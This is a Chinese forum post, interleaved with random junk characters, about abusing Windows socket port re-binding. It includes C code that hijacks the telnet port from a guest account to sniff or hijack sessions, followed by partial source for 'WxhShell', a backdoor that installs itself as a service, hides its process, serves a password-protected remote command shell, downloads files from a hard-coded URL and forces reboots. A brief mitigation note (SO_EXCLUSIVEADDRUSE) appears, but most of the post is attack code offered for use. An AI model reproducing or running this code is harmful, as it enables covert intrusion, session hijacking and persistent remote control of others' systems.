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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 646ye Q1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lz*PNT{E  
yO6i "3  
  saddr.sin_family = AF_INET; 01dx}L@hz  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X XF9oy8  
4EpzCaEZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ! $iR:ji  
Q\oUZnD$=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z:*U/_G  
qYh,No5\;t  
  这意味着什么?意味着可以进行如下的攻击: 8x{vgx @M  
9j 8t<5s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ELPJ}moWZ  
D6vn3*,&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H>r-|*n  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e!8_3BE  
5B2,=?+o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I>xB.$A  
EH:1Z*|Z{\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0 mQ3P.9  
<d^7B9O?&w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A)#sh) }Q  
CvW((<?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 So^`L s;S  
K8 Y/XEK  
  #include s,k1KTXg<B  
  #include Dmi;# WY  
  #include 9e&#;6l  
  #include    JXAyF6 $  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )eEvyU  
  int main() C{Ug ?hVP  
  { L1xD$wl  
  WORD wVersionRequested; -FR;:  
  DWORD ret; 6'ZnyWb  
  WSADATA wsaData; 9O Q4\  
  BOOL val; PPPwDsJ  
  SOCKADDR_IN saddr; GN9_ZlC  
  SOCKADDR_IN scaddr; _e_%U<\4  
  int err; #[W[ |m  
  SOCKET s; iq:[+  
  SOCKET sc; qlJOb}$ I  
  int caddsize; h yKg=Foq  
  HANDLE mt; gk1S"H  
  DWORD tid;   ehusI-q  
  wVersionRequested = MAKEWORD( 2, 2 ); 5ecz'eA%  
  err = WSAStartup( wVersionRequested, &wsaData ); S7/v ,E  
  if ( err != 0 ) { +-\9'Q  
  printf("error!WSAStartup failed!\n"); I0vn d7  
  return -1; bW^QH-t  
  } ,rI |+  
  saddr.sin_family = AF_INET; ->&VbR)  
   -ikuj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b6Hk20+B;  
.K1E1Z_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $jm<' 4  
  saddr.sin_port = htons(23); t)Q @sKT6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oc9>F\]_m  
  { TY\"@(Q|G  
  printf("error!socket failed!\n"); .GN$H>')  
  return -1; !s*''v*  
  } )xx/di  
  val = TRUE; VQ<i$ I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 idS RWa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]3,.g)U*m  
  { }!]x|zU.=  
  printf("error!setsockopt failed!\n"); ONq/JW$?LV  
  return -1; "ue$DyN  
  } d 4\E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OG+r|.N;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -,A5^>}%,Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' xZPIj+  
fEG3b#t N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h_chZB'  
  { 5%+bWI{w  
  ret=GetLastError(); F2`htM@,  
  printf("error!bind failed!\n"); ,e FQ}&^A  
  return -1; FT/5 _1i  
  } fk7Cf"[w  
  listen(s,2); EhPVK6@  
  while(1) Y `7#[g  
  { )cK  tc  
  caddsize = sizeof(scaddr); -Bo~"q  
  //接受连接请求 \*%i#]wO@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); + lB+|yJ+  
  if(sc!=INVALID_SOCKET) T E&Q6  
  { *Iwk47J ;a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9^QYuf3O  
  if(mt==NULL) "-Q Rkif  
  { y{`(|,[  
  printf("Thread Creat Failed!\n"); ( OyY_`  
  break; &[ u6oAR  
  } a][pTC\rb  
  } -RH4y 2  
  CloseHandle(mt); $EQT"ZX>%i  
  } N+s?ZE*  
  closesocket(s); NB3Syl8g  
  WSACleanup(); F!)M<8jL&9  
  return 0; ;o)=XEh8P  
  }   C^,4`OI  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5hJYy`h~  
  { 0^&(u:~  
  SOCKET ss = (SOCKET)lpParam; V%BJNJ  
  SOCKET sc; Wj4^W<IO  
  unsigned char buf[4096]; xxoHH#a  
  SOCKADDR_IN saddr; 6MQs \J6.  
  long num; U1>  
  DWORD val; 5BU%%fBJ.  
  DWORD ret; hC|5e|S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }$Hs;4|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UH 47e  
  saddr.sin_family = AF_INET; ']IT uP8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w>6"Sc7oc2  
  saddr.sin_port = htons(23); *K+jsVDY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s%N`  
  { 29a_ZU7e6  
  printf("error!socket failed!\n"); >@)*S n9"  
  return -1; g[EM]q,  
  } k5 aa>6K  
  val = 100; <JL\?)}n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )IFl 0<d  
  { 5u;Rr 1D  
  ret = GetLastError(); ?w]"~   
  return -1; | V.S.'  
  } Qp kKVLi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0" U5oP[  
  { i?GfY C2q  
  ret = GetLastError(); tt6. jo  
  return -1; t] r,9df'  
  } xSpMyXrQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 35Ai;mU'  
  { .'t (-eT,  
  printf("error!socket connect failed!\n"); Z/2,al\  
  closesocket(sc); Js\-['`  
  closesocket(ss); P0%N Q1bn  
  return -1; Ur'9bl{5  
  } k $e D(cW$  
  while(1) Gw ~{V  
  { Nb~,`bu,2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5f;n<EP y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Km6Ub?/7o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yGb a  
  num = recv(ss,buf,4096,0); Ik`O.Q.}  
  if(num>0) |-~b$nUe  
  send(sc,buf,num,0); f{)+-8  
  else if(num==0) _1I K$gb[  
  break; E]?)FH<oP  
  num = recv(sc,buf,4096,0); UZzNVIXA%  
  if(num>0) $ q%mu  
  send(ss,buf,num,0); uQH%.A  
  else if(num==0) `wNm%*g  
  break; GwcI0~5  
  } LtC~)R  
  closesocket(ss); # v{Y=$L  
  closesocket(sc); PeO]lq  
  return 0 ; 8O,? |c=>  
  } P+[QI U  
8]S,u:E:N  
3\;v5D:  
========================================================== ZB-QABn  
7$!yfMttu  
下边附上一个代码,,WXhSHELL :.Y|I[\E%  
4w 'lu"U  
========================================================== Z;#%t.  
ODm&&W#*  
#include "stdafx.h" x Sv-;!y  
<"<Mbbp  
#include <stdio.h> }i(qt&U;  
#include <string.h> vB^uxdt|m  
#include <windows.h> N1%p"(  
#include <winsock2.h> .Y;b)]@f  
#include <winsvc.h> Q8p=!K  
#include <urlmon.h> m+?N7  
;(7-WnU8N  
#pragma comment (lib, "Ws2_32.lib") uKv&7p@|_)  
#pragma comment (lib, "urlmon.lib") $*k)|4  
.;9jdGBf  
#define MAX_USER   100 // 最大客户端连接数 ]nQ+nH  
#define BUF_SOCK   200 // sock buffer `ruNA>M  
#define KEY_BUFF   255 // 输入 buffer xOythvO  
v,{h:  
#define REBOOT     0   // 重启 wxE?3%.j\  
#define SHUTDOWN   1   // 关机 M i]I:ka  
jo}1u_OJ  
#define DEF_PORT   5000 // 监听端口 ?OE#q$g  
s.VA!@F5  
#define REG_LEN     16   // 注册表键长度 Ea-bC:>  
#define SVC_LEN     80   // NT服务名长度 zN%97q_  
Y&K <{\vE  
// 从dll定义API )n( Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vo\H<_=G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `?"6l5d.]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WWNu:,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YGp)Oy}:  
VevNG *  
// wxhshell配置信息 ?1peF47Z  
struct WSCFG { " !-Kd'V  
  int ws_port;         // 监听端口 X P;Bhz3j  
  char ws_passstr[REG_LEN]; // 口令 e`iEy=W  
  int ws_autoins;       // 安装标记, 1=yes 0=no v>H=,.`0\  
  char ws_regname[REG_LEN]; // 注册表键名 $ KB  
  char ws_svcname[REG_LEN]; // 服务名 %D`o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m2xBS!fm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oZN'H T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0}]SUe^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &J$##B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d]SYP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z(e ^iH  
h i|!  
}; GS;%zdH~  
;JT(3yK4>p  
// default Wxhshell configuration };b1ahaG  
struct WSCFG wscfg={DEF_PORT, _Zc4=c,K  
    "xuhuanlingzhe", Dz;HAyPj  
    1, O)]v;9oER  
    "Wxhshell", wvN`R  
    "Wxhshell", Vn, >< g  
            "WxhShell Service", rjk( X|R*  
    "Wrsky Windows CmdShell Service", $ 4m*kQ  
    "Please Input Your Password: ", ;a r><w  
  1, D#Kuo$  
  "http://www.wrsky.com/wxhshell.exe", V5p0h~PK  
  "Wxhshell.exe" [sy j#  
    }; poT&-Ic[  
^YlI>_3s  
// 消息定义模块 pHC /(6?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !<<AzLVL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kct@87z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Oeh=gq  
char *msg_ws_ext="\n\rExit."; S,jZ3^  
char *msg_ws_end="\n\rQuit."; !%)]56(  
char *msg_ws_boot="\n\rReboot..."; MYdO jcN  
char *msg_ws_poff="\n\rShutdown..."; O.QK"pKD\  
char *msg_ws_down="\n\rSave to "; -c*\o3)  
[}z,J"Un  
char *msg_ws_err="\n\rErr!"; O;uG?.\  
char *msg_ws_ok="\n\rOK!"; G~,:2 o3  
"ju'UOcS/  
char ExeFile[MAX_PATH]; *ZrSiIPP  
int nUser = 0; BuOgOYh9  
HANDLE handles[MAX_USER]; Fc6iQ  
int OsIsNt; r! %;R?c  
H t(n%;<  
SERVICE_STATUS       serviceStatus; !l@zT}i??  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B1!kn}KlL{  
hz:pbes  
// 函数声明 i3$$,W!  
int Install(void); b KtD"JG\  
int Uninstall(void); dT|vYK}\  
int DownloadFile(char *sURL, SOCKET wsh); soRv1)el  
int Boot(int flag); k[j90C5  
void HideProc(void); tq1CwzRX  
int GetOsVer(void); zi@]83SS#  
int Wxhshell(SOCKET wsl); $g0+,ll[6  
void TalkWithClient(void *cs); sgUud_r)4  
int CmdShell(SOCKET sock); w;6bD'.>;  
int StartFromService(void); .B2]xfo"`  
int StartWxhshell(LPSTR lpCmdLine); &ANP`=  
58Xzup_"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {i0SS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >Gml4vGK  
\y`+B*\i  
// 数据结构和表定义 Pz*_)N}j >  
SERVICE_TABLE_ENTRY DispatchTable[] = fxaJZz$o  
{ l e4?jQQ@L  
{wscfg.ws_svcname, NTServiceMain}, Yb3mP!3q8Z  
{NULL, NULL} soA|wk\A  
}; a8k;(/  
d\{>TdyF  
// 自我安装 %ts^Z*3u  
int Install(void) 9I27TKy  
{ v{zMO:3  
  char svExeFile[MAX_PATH]; @hQlrq5c  
  HKEY key; 58\&/lYW  
  strcpy(svExeFile,ExeFile); t7 n(Qkrv  
nRL. ppUI  
// 如果是win9x系统,修改注册表设为自启动 !U9|x\BqJ2  
if(!OsIsNt) { gI^o U 4mq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O/AaYA&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3s\.cG?`r  
  RegCloseKey(key); voP7"Dl[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &,A64y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [[PEa-992  
  RegCloseKey(key); 3.22"U\1:  
  return 0; wO ?+Nh  
    } 'o|30LzYgQ  
  } FuI73  
} `>0MNmu  
else { mMsTyM-f  
]8q3>  
// 如果是NT以上系统,安装为系统服务 /|#&px)G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Ac)'2t;U  
if (schSCManager!=0) ?]D"k4  
{ R\o<7g-|  
  SC_HANDLE schService = CreateService MZ Aij  
  ( R|O8RlH  
  schSCManager, u[nyW3MZ  
  wscfg.ws_svcname, 6qcO?U  
  wscfg.ws_svcdisp, @-UL`+  
  SERVICE_ALL_ACCESS, .>Ljnk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DXz} YIEC  
  SERVICE_AUTO_START, >:D j\"o  
  SERVICE_ERROR_NORMAL, ]|`C uc  
  svExeFile, !Mi;*ZR  
  NULL, 64hk2a8  
  NULL, o-}R?>  
  NULL, :ba5iMa  
  NULL, O@p]KSfk  
  NULL 311LC cRp  
  ); nX$XL=6mJ&  
  if (schService!=0) w"R:\@ F  
  { D8 hr?:I9  
  CloseServiceHandle(schService); 626Z5Afg  
  CloseServiceHandle(schSCManager); ^Z~;4il_F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A.hd Kl  
  strcat(svExeFile,wscfg.ws_svcname); 1V8-^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {?'fyEeg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h/~n\0,J/  
  RegCloseKey(key); N[kwO1  
  return 0; iD<(b`S  
    } zZVfj:i8  
  } z dO#0t N  
  CloseServiceHandle(schSCManager); PRz/inru-  
} p.LFVFPT  
} jDQZQ NS  
s kg*  
return 1; &|/| ''A)  
} 0GJn_@hr  
3B1cb[2y  
// 自我卸载 'fW6 .0fXa  
int Uninstall(void) DGzw8|/(  
{ <=f}8a.R3  
  HKEY key; oWYmj=D~2z  
P2bZ65>3y  
if(!OsIsNt) { $@UN4B?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :=J,z,H_U  
  RegDeleteValue(key,wscfg.ws_regname); jQ:OKh<Y  
  RegCloseKey(key); d/i`l*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &197P7&o  
  RegDeleteValue(key,wscfg.ws_regname); =}.EY iD  
  RegCloseKey(key); m 9/}~Y#k  
  return 0; 4'0Dr++  
  } qK)73eNSR  
} 66fO7OJs  
} ~8lwe*lNV  
else { r/SG 4  
D9z|VIw8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r#XT3qp$d  
if (schSCManager!=0) 9uGrk^<t  
{ OoWyPdC+P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U"Zmv  
  if (schService!=0) )I3NeKWz  
  { ?Wz8[u  
  if(DeleteService(schService)!=0) { eopD5  
  CloseServiceHandle(schService); TYy.jFT-  
  CloseServiceHandle(schSCManager); V{JAB]?^  
  return 0; 6L)%T02C  
  } s0PrbL%_`  
  CloseServiceHandle(schService); g1jTy7g?  
  } ~Q\3pI. |  
  CloseServiceHandle(schSCManager); 7D<#(CE{  
} ]MxC_V+P`  
} {7)st W  
ub|V\M{  
return 1; Yl3n2R /U  
} '#k0a,<N  
|`cKD >  
// 从指定url下载文件 zzxGAVu  
int DownloadFile(char *sURL, SOCKET wsh) ,lyb!k8  
{ }`@728E  
  HRESULT hr; E2m8UBS  
char seps[]= "/"; JYTP 2  
char *token; Y./2Ely  
char *file; JfR %L q~  
char myURL[MAX_PATH]; m}X`> aD/  
char myFILE[MAX_PATH]; 1;{Rhu7* k  
2RX!V@z.G  
strcpy(myURL,sURL); sQ fFu  
  token=strtok(myURL,seps); L31HG H2l  
  while(token!=NULL) 8?%-'z.  
  { 7x@A%2J  
    file=token; 0PWg;>^'  
  token=strtok(NULL,seps); ^Y'HaneoM  
  } >"C,@cN}B  
62Z#Y Q}x  
GetCurrentDirectory(MAX_PATH,myFILE); [Nk3|u`h  
strcat(myFILE, "\\"); )BwjZMJ.N  
strcat(myFILE, file); {DR`;ea])1  
  send(wsh,myFILE,strlen(myFILE),0); [<6S%s  
send(wsh,"...",3,0); $g sxO!G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {HCz p,Y  
  if(hr==S_OK) a]MX)?  
return 0; % ClHCoyA  
else ; d J1  
return 1; |>#{[wko  
O<,\^[x  
} k3uit+ge }  
Iu <?&9t  
// 系统电源模块 F F|FU<  
int Boot(int flag) Pqn@ST  
{ O)jWZOVp >  
  HANDLE hToken; ,]d,-)KX8  
  TOKEN_PRIVILEGES tkp; gntxNp[9T  
3d e_V|%  
  if(OsIsNt) { >M`CVUf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bdc&1I$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s#WAR]x0x  
    tkp.PrivilegeCount = 1; bLwAXW2K+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iB498t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3J5!oF{H  
if(flag==REBOOT) { 'JRvP!]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2'W<h)m)z  
  return 0; >Vwc3d  
} hK_LEwd;  
else { <?@NRFTe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3h *!V6%q  
  return 0; F 9@h|#an  
} sn)3Z A  
  } 6=fSE=]DY  
  else { EUxGAj$-  
if(flag==REBOOT) { MZT23 [+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "*Tb" 'O  
  return 0; 6e[VgN-s  
} lw< c2 C  
else { [@5Ytv H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;<(W% _  
  return 0; sk=-M8;\  
} |v$JCU3!A  
} H kQ) n3  
TL}++e 7+  
return 1; (G[ *|6m  
} TZY3tUx0|G  
<OIIoB?t  
// win9x进程隐藏模块 dF2nEaN0%  
void HideProc(void) D"a~ #^  
{ |v({-*7  
/!3@]xz*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PEW=@xj2y  
  if ( hKernel != NULL ) 'LE =6{#  
  { }n4V|f-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LILQ\I<<'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #g]vc_V  
    FreeLibrary(hKernel); 3U7 *>H  
  } T>NDSami  
j 4^97  
return; !;KCU^9  
} ;,?KI$K  
t},/}b  
// 获取操作系统版本 _t^{a]/H  
int GetOsVer(void) j4cwI90=  
{ 2(#7[mgPI  
  OSVERSIONINFO winfo; 0sfr d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yi$vg  
  GetVersionEx(&winfo); BZ?.D_bu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # ?/<  
  return 1; ' <@3i[M  
  else SUU !7Yd|  
  return 0; N _86t  
} |bO"_U  
f)^_|8  
// 客户端句柄模块 5 4L\Jx  
int Wxhshell(SOCKET wsl) ]zWon~  
{ 4X+ifZO  
  SOCKET wsh; Y07ZB'K  
  struct sockaddr_in client; !'cl"\h  
  DWORD myID; 5'X ]k@m_  
@T'i/}nl  
  while(nUser<MAX_USER) kNobl  
{ _s .G  
  int nSize=sizeof(client); *%S"eWb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -)RH5WGS  
  if(wsh==INVALID_SOCKET) return 1; jAm3HI   
MM x9(`t*.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PqiB\~o@Z  
if(handles[nUser]==0) 9Ru8~R/\  
  closesocket(wsh); N<IT w/@^  
else TjwBv6h  
  nUser++; ^$'z!+QRM  
  } WZ*ws[dVI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VCD:3U 8  
8j=}u/T@F  
  return 0; x6e}( &p*  
} tX> G,hw  
|4uWh  
// 关闭 socket )C(? bR  
void CloseIt(SOCKET wsh) &I (#Wy3  
{ hNH'XQxO  
closesocket(wsh); YTexv;VNb|  
nUser--; \l]DQaOEe  
ExitThread(0); tavpq.0O  
} i03w 1pSH,  
rU2%dkTa  
// 客户端请求句柄 K"4>DaK2P  
void TalkWithClient(void *cs) ck.w 5|$  
{ \v.C]{Gzc  
(K)]qNH  
  SOCKET wsh=(SOCKET)cs; Te<}*qvD  
  char pwd[SVC_LEN]; L>SjllY  
  char cmd[KEY_BUFF]; +ayos[<0#  
char chr[1]; j]aoR  
int i,j; :uK? 4  
ecCr6)  
  while (nUser < MAX_USER) { A8oo@z68n>  
 ng_^  
if(wscfg.ws_passstr) { y*tZ !m2Gg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2F+?w;,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o'f?YZ$.  
  //ZeroMemory(pwd,KEY_BUFF); {:]9Q Tq  
      i=0; e=.njMqW5  
  while(i<SVC_LEN) { Od5JG .]  
q(2K6  
  // 设置超时 A<qTg`gA  
  fd_set FdRead; xK6n0] A  
  struct timeval TimeOut; I~Zh@d%  
  FD_ZERO(&FdRead); w6{TE(]zp  
  FD_SET(wsh,&FdRead); Y[$!`);Ye  
  TimeOut.tv_sec=8; \8?Tdx=  
  TimeOut.tv_usec=0; a6WI170^1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /iJ4{p   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -/g B|J  
CJJzCVj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :QB<?HaS'  
  pwd=chr[0]; 9&` 2V  
  if(chr[0]==0xd || chr[0]==0xa) { b/{t|io{  
  pwd=0; .tzG_  
  break; hR Ue<0o:  
  } [5+}rwm&W  
  i++; QUQu^p  
    } ~XWQhIAM4  
lJis~JLd`  
  // 如果是非法用户,关闭 socket \0vr>C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] 0B2# d  
} jkt_5+S  
2L} SJUk*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g#t[LI9(F[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !VI]oRgP  
D IzH`|Y  
while(1) { b+&% 1C  
|qmu _x\  
  ZeroMemory(cmd,KEY_BUFF); gm[z[~X@  
i*NH'o/  
      // 自动支持客户端 telnet标准   Y[K*57fs  
  j=0; 8=Z9T<K  
  while(j<KEY_BUFF) { "vyNxZE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3T!lA  
  cmd[j]=chr[0]; ZsOIH<}S  
  if(chr[0]==0xa || chr[0]==0xd) { @)4]b+8Z  
  cmd[j]=0;  s8rE$  
  break; $}jssnoU  
  } 0iwZT&O  
  j++; ^k#P5oV  
    } Gch[Otq]%  
lo,$-bJ,<,  
  // 下载文件 h_T7% #0  
  if(strstr(cmd,"http://")) { %]8qAtV^3j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %+K<<iyR|  
  if(DownloadFile(cmd,wsh)) |>JS!NM I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wu_kx2h  
  else Dqe^E%mc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"I E  
  } \8 h;K>=h  
  else { eK!V );  
^WNrGF  
    switch(cmd[0]) { [ zEUH:9D  
  )_i qAqkS  
  // 帮助 ?Vdia:  
  case '?': { YGPy@-,E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5wh|=**/  
    break; (C@~3!AVa  
  } ,]cD  
  // 安装 Hqn#yInA7~  
  case 'i': { ~tR~?b T  
    if(Install()) pD01,5/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Gjk;|Sx<I  
    else 66I"=:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?}a;}Q 6  
    break; S4h:|jLUF  
    } *?Kr*]dnLl  
  // 卸载 ;F~LqC$  
  case 'r': { K/3)g9Z&io  
    if(Uninstall()) g;8jK 8 Kh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }woo%N P  
    else mA*AeP_$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N 0= ac5  
    break; ?hWwj6i&  
    } 9=V:&.L  
  // 显示 wxhshell 所在路径 HOE_S!N  
  case 'p': { p-zXp K"  
    char svExeFile[MAX_PATH]; [vHv0"   
    strcpy(svExeFile,"\n\r"); /Ya_>+oo  
      strcat(svExeFile,ExeFile); NCk r /#!  
        send(wsh,svExeFile,strlen(svExeFile),0); U]vYV  
    break; PV/7 7{'  
    } '=G|Sq^aO  
  // 重启 f/Hm{<BY  
  case 'b': { sh`s /JRf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cnFI &,FM  
    if(Boot(REBOOT)) /`6ZAo m9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "gne_Ye.  
    else { g)_e]&  
    closesocket(wsh); |*'cF-lp6v  
    ExitThread(0); MF'$~gxo  
    } t $xY #:  
    break; ghX|3lI\q  
    } krC{ed  
  // 关机 Y<Xz wro0  
  case 'd': { r]l!WRn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aP8H`^DFX>  
